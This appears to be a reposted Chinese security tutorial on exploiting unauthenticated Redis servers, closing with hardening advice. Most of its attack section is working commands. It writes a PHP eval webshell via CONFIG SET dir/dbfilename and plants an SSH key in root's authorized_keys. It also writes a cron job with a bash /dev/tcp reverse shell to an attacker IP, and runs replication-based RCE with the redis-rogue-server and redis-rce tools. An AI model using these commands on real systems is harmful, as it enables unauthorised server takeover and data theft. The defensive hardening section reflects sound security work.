Redis 常見漏洞利用方法總結

語言: CN / TW / HK

Redis簡介    

        


Redis是資料庫的意思。Redis(Remote Dictionary Server ),即遠端字典服務,是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。Redis執行在記憶體中但是可以持久化到磁碟,所以在對不同資料集進行高速讀寫時需要權衡記憶體,因為資料量不能大於硬體記憶體。在記憶體資料庫方面的另一個優點是,相比在磁碟上相同的複雜的資料結構,在記憶體中操作起來非常簡單,這樣Redis可以做很多內部複雜性很強的事情。同時,在磁碟格式方面他們是緊湊的以追加的方式產生的,因為他們並不需要進行隨機訪問。Redis的出現,很大程度補償了memcached這類key/value儲存的不足,在部分場合可以對關係資料庫起到很好的補充作用。

Redis基本語法

    1.Redis 配置

        Redis 的配置檔案位於 Redis 安裝目錄下,檔名為 redis.conf 。可以通過 CONFIG 命令檢視或設定配置項

    Redis CONFIG 檢視配置命令格式如下:

CONFIG GET CONFIG_SETTING_NAME

    使用 * 號獲取所有配置項

CONFIG GET *

    2.編輯配置

        可以通過修改 redis.conf 檔案或使用 CONFIG set命令來修改配置

基本命令語法  redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE

        如:

    3.引數說明

幾個redis.conf 配置項說明如下    port 6379                   //指定 Redis 監聽埠,預設埠為 6379    bind 127.0.0.1              //繫結的主機地址    timeout 300                 //當客戶端閒置多長秒後關閉連線,如果指定為 0 ,表示關閉該功能    databases 16                //設定資料庫的數量,預設資料庫為0,可以使用 SELECT 命令在連線上指定資料庫id    save <seconds> <changes>    //指定在多長時間內,有多少次更新操作,就將資料同步到資料檔案,可以多個條件配合    dbfilename dump.rdb         //指定本地資料庫檔名,預設值為 dump.rdb    dir ./                      //指定本地資料庫存放目錄

Redis命令

    Redis 命令用於在 redis 服務上執行操作。要在 redis 服務上執行命令需要一個 redis 客戶端。Redis 客戶端在我們之前下載的的 redis 的安裝包中

    1.Redis 客戶端的基本語法為:

redis-cli -h host           //免密登入Redis服務redis-cli -h host -p port -a password   //使用redis密碼登入redis服務連線之後執行PING命令,如果服務運作正常的話,會返回一個 PONG

    2.SET 命令

        Redis SET 命令用於設定給定 key 的值。如果 key 已經儲存其他值, SET 就覆寫舊值,且無視型別。

語法    redis 127.0.0.1:6379> SET KEY_NAME VALUE

    3.GET 命令

        Redis Get 命令用於獲取指定 key 的值。如果 key 不存在,返回 nil

語法    redis 127.0.0.1:6379> GET KEY_NAME

    4.Flushall命令

        Redis Flushall 命令用於清空整個 Redis 伺服器的資料(刪除所有資料庫的所有 key )。

語法    redis 127.0.0.1:6379> FLUSHALL

    5.Redis 資料備份與恢復

        SAVE 命令用於建立當前資料庫的備份,將執行一個同步儲存操作,將當前 Redis 例項的所有資料快照(snapshot)以預設 RDB 檔案的形式儲存到硬碟  (此命令將在 redis 安裝目錄下建立一個 dump.rdb檔案)

語法   redis 127.0.0.1:6379SAVE

        恢復資料,只需要將備份檔案(dump.rdb) 移動到 redis 安裝目錄並啟動服務即可。獲取 redis 目錄可用 CONFIG 命令

CONFIG GET dir

      6. Redis 安全

          可以通過 redis 的配置檔案設定密碼引數,這樣客戶端連線到redis服務就需要密碼驗證。可以通過以下命令檢視是否進行了密碼設定

CONFIG get requirepass

        預設情況下 requirepass 引數為空,這就意味著可以無需通過密碼驗證就可以連線到redis服務

        然後可以通過一下命令來修改引數,設定密碼之後,客戶端連線redis服務就需要密碼驗證,否則無法執行命令( 但是命令列修改了密碼之後,配置檔案的requirepass欄位後面的密碼是不會隨之修改的 )

CONFIG set requirepass "657260"CONFIG get requirepass

        AUTH 命令可用於檢測給定的密碼是否與配置檔案中的密碼相符 (密碼匹配正確時返回OK,否則返回一個錯誤)

AUTH PASSWORD


Redis環境搭建

    1.在ubuntu中下載安裝Redis並壓縮

wget http://download.redis.io/releases/redis-5.0.12.tar.gz
tar -zxvf redis-5.0.12.tar.gz

    2.下載並解壓後之後,進入Redis目錄中,執行 make ,通過 make 編譯的方式來安裝。(如果編譯失敗則有可能是未裝gcc ,安裝一下之後繼續編譯即可)

    當出現 'make test'時,則代表編譯安裝成功

    3.make編譯結束後,進入src目錄,將redis-server 和 redis-cli 拷貝到 /usr/bin 目錄下 (這樣就不用每次啟動服務都進入安裝目錄了)

cd srccp redis-cli /usr/bincp redis-server /usr/bin

    4.返回 redis-5.0.12 目錄,將 redis.conf 拷貝到/etc/目錄下

cp redis.conf /etc

    5.使用 /etc/ 目錄下 redis.conf檔案中的配置啟動redis服務

redis-server /etc/redis.conf

    6.一般情況下外面的主機是連線不了redis的,因為redis遵循bind指令,這將強制Redis只監聽 IPV4 回退介面 IPV4 回退連線地址(意味著Redis將能夠只接收來自同一臺計算機的連線執行)

        可以修改redis配置檔案 /etc/redis.conf 中新增本地地址來解決,修改完之後重新啟動redis服務,可以發現可以連線了

bind 127.0.0.1 192.168.245.128



Redis 未授權訪問漏洞

               

    Redis 預設情況下,會繫結 .0.0.0.0:6379 ,如果沒有才有相關的策略,比如新增防火牆規則避免其他非信任來源 限制ip訪問等,那麼就會將 Redis 服務暴露到公網上。如果沒有設定密碼認證的話(一般為空),會導致任意使用者在可以訪問目標伺服器的情況下,未授權訪問 Redis 以及 讀取 Redis 的資料。

    在未授權的情況下,可以利用 Redis 自身提供的 config 命令進行寫入shell、寫SSH公鑰、建立計劃任務反彈shell 等。其思路都是先將 Redis 的本地資料庫存放目錄設定為 特定的目錄,然後將 dbfilename (本地資料庫檔名) 設定為你想寫入的檔名稱,最後在執行 save 或 bgsave 儲存,那麼就看在制定的目錄下寫入指定的檔案了。


漏洞危害

    攻擊者無需認證即可訪問到內部資料,可能導致敏感資訊洩露,也可以執行 flushall 來清空所有的資料

    可通過 EVAL 來執行 lua 程式碼,或通過資料備份工具往磁碟寫入後門檔案

    最為嚴重的是,如果 Redis 以 root 身份執行的話,那麼就可以給 root 賬戶寫入 SSH公鑰檔案,直接通過 SSH 登入被攻擊者伺服器。


Redis未授權訪問的幾種利用方法

1.利用 Redis 寫入webshell

    1.利用條件

服務端的Redis連線存在未授權,在攻擊機上能用redis-cli直接登陸連線,並未登陸驗證。開了服務端存在Web伺服器,並且知道Web目錄的路徑(如利用phpinfo,或者錯誤爆路經),還需要具有檔案讀寫增刪改查許可權。

    2.利用方法

將dir設定為/www/wwwroot/html,將指定本地資料庫存放目錄設定為/www/wwwroot/html;將dbfilename設定為檔名shell.php,即指定本地資料庫檔名為shell.php;再執行save或bgsave,則我們就可以寫入一個路徑為/www/wwwroot/html/shell.php的Webshell檔案原理    在資料庫中插入一條Webshell資料,將此Webshell的程式碼作為value,key值隨意(x),然後通過修改資料庫的預設路徑為/www/wwwroot/html和預設的緩衝檔案shell.php,把緩衝的資料儲存在檔案裡,這樣就可以在伺服器端的/www/wwwroot/html下生成一個Webshell

    3.操作步驟

config set dir /www/wwwroot/html/    config set dbfilename shell.phpset xxx "<?php eval($_POST[whoami]);?>"save

    這裡的第三步寫入webshell的時候,也可以使用

set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

    \r\n\r\n 代表換行,用redis寫入檔案的話會自帶一些版本資訊,如果不換行的話可能會導致無法執行,然後檢視被攻擊機的 /www/wwwroot/html 目錄下 shell.php的內容,可以看到寫入成功

    然後可以使用蟻劍成功連線。


2.利用 Redis 寫入SSH公鑰

    1.利用條件

服務端的Redis連線存在未授權,在攻擊機上能用redis-cli直接登陸連線,並未登陸驗證。服務端存在.ssh目錄並且有寫入的許可權原理    在資料庫中插入一條資料,將本機的公鑰作為value,key值隨意,然後通過修改資料庫的預設路徑為/root/.ssh和預設的緩衝檔案authorized.keys,把緩衝的資料儲存在檔案裡,這樣就可以在伺服器端的/root/.ssh下生成一個授權的key

     2.首先在攻擊機的 /root/.ssh 目錄裡生成ssh公鑰key

ssh-keygen -t rsa

    然後將公鑰匯入key.txt檔案(前後使用 \n 換行,避免和Redis裡其他快取資料混合),再把 key.txt 檔案內容寫入服務端 Redus的快取中

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txtcat /root/.ssh/key.txt | redis-cli -h 192.168.xx.xx -x set xxx// -x 代表從標準輸入讀取資料作為該命令的最後一個引數。

    然後,使用攻擊機連線目標機器 Redis,設定Redis的備份路徑為 /root/.ssh/ 和 儲存檔名為 authorized_keys,並將資料儲存在目標伺服器快取中 (在設定目錄時,可能會存在報錯 (error) ERR Changing directory: No such file or directory ,這是因為 root 從來沒有登入過,然後在被攻擊機中執行ssh localhost即可)

redis-cli -h 192.168.xx.xxconfig set dir /root/.sshconfig set dbfilename authorized_keyssave

    最後使用攻擊機ssh連線目標即可(成功連線)


3.利用Redis寫入計劃任務

這個方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:    因為預設redis寫檔案後是644的許可權,但ubuntu要求執行定時任務檔案/var/spool/cron/crontabs/<username>許可權必須是600也就是-rw———-才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時任務檔案/var/spool/cron/<username>許可權644也能執行    因為redis儲存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯然後由於系統的不同,crontrab定時檔案位置也會不同    Centos的定時任務檔案在/var/spool/cron/<username>    Ubuntu定時任務檔案在/var/spool/cron/crontabs/<username>
原理    在資料庫中插入一條資料,將計劃任務的內容作為value,key值隨意,然後通過修改資料庫的預設路徑為目標主機計劃任務的路徑,把緩衝的資料儲存在檔案裡,這樣就可以在伺服器端成功寫入一個計劃任務進行反彈shell。首先在攻擊機kall上開啟監聽    nc -lvp 4444

    然後連線服務端的 Redis,寫入反彈 shell 的計劃任務

redis-cli -h 192.168.142.153set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.245.153/4444 0>&1\n\n"config set dir /var/spool/cron/config set dbfilename rootsave

    然後大概等一分鐘左右可以看到,在攻擊機的nc中成功反彈回shell


Redis基於主從複製的命令執行

    Redis主從複製

Redis是一個使用ANSI C編寫的開源、支援網路、基於記憶體、可選永續性的鍵值對儲存資料庫。但如果當把資料儲存在單個Redis的例項中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis例項作為主機,其他例項都作為備份機(從機),其中主機和從機資料相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

    Redis 主從複製進行RCE

201977日結束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關於Redis 4.x/5.x的RCE利用方式,比起以前的利用方式來說,這種利用方式更為通用,危害也更大。在Reids 4.x之後,Redis新增了模組功能,通過外部拓展,可以在Redis中實現一個新的Redis命令。我們可以通過外部拓展(.so),在Redis中建立一個用於執行系統命令的函式。

1.利用 redis-rogue-server 工具 ( 地址:https://github.com/n0b0dyCN/redis-rogue-server)

    該工具的原理是先建立一個惡意的 Redis 伺服器作為 Redis主機(master),該Redis主機能夠迴應其他連線他的Redis從機的響應。有了惡意的Redis主機之後,就會遠端連線目標Redis伺服器,通過slaveof命令將目標Redis伺服器設定為我們惡意Redis的Redis從機(slaver)。然後將惡意Redis主機上的exp同步到Reids主機上,並將dbfilename設定為exp.so。最後再控制Redis從機(slaver)載入模組執行系統命令即可

    但是該工具無法對Redis密碼進行Redis認證,也就是說該工具只能在目標存在Redis未收取訪問漏洞時使用。如果存在密碼是不能使用的。

使用方法    python3 redis-rogue-server.py --rhost rhost --lhost lhost

    執行後,可以選擇獲取一個互動式的shell(interactive shell) 或者是反彈shell(reserve shell)

    選擇 i 來獲取一個互動式的shell,獲取到之後可以直接執行系統命令

    使用 r 來獲取一個反彈的shell

    但此工具最大的缺點就是隻能使用於目標存在redis未授權訪問漏洞時使用,當目標存在密碼時無法使用。所以看下其他的工具。


2.利用 redis-rce工具 ( 地址 https://github.com/Ridter/redis-rce)

     可以看到工具有一個 -a 的選項,可以用於redis認證。

    但是這個工具裡少一個exp.so的檔案,我們還需要去上面那個到 redis-rogue-server工具中找到exp.so檔案並複製到redis-rce.py同一目錄下,然後執行如下命令即可:

python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password

    執行後的效果和上面的工具一樣,可以獲取一個互動式的shell或反彈shell

    這裡選擇 i 來獲取一個互動式的shell,可以直接在裡面執行命令

    也可以選擇 r 來獲取一個反彈shell



Redis的安全防護策略

    1.禁止監聽在公網地址

Redis監聽在 0.0.0.0 是十分危險的,所以需要修改 Redis 監聽埠,在 Redis 的配置檔案 redis.conf 中進行設定,找到包含 bind 的行,將預設的 bind 0.0.0.0 改為內網IP,然後重啟 Redis

    2.修改預設監聽的埠

Redis預設監聽埠為6379 ,為了更好的隱蔽服務,可以在redis.conf 中修改Redis的監聽埠,將預設埠 6379 改為其他的埠

    3.開啟 Redis 安全認證並設定複雜的密碼

為了防止 Redis 未授權訪問攻擊以及對 Redis 密碼的爆破,可以在 redis.conf 配置檔案中,通過 requirepass 選項開啟密碼認證並設定強密碼

    4.禁止使用 root 許可權啟動

使用 Root 許可權去執行網路服務是比較有風險的,所以不建議使用 Root 許可權的任何使用者啟動 Redis。加固建議如:  useradd -s /sbin/nolog -M redis  sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf

    5.設定Redis配置檔案的訪問許可權

因為 Redis 的明文密碼可能會儲存在配置檔案中,所以必須禁止不相關的使用者訪問配置檔案


本文分享自微信公眾號 - 黑白天實驗室(li0981jing)。
如有侵權,請聯絡 [email protected] 刪除。
本文參與“OSC源創計劃”,歡迎正在閱讀的你也加入,一起分享。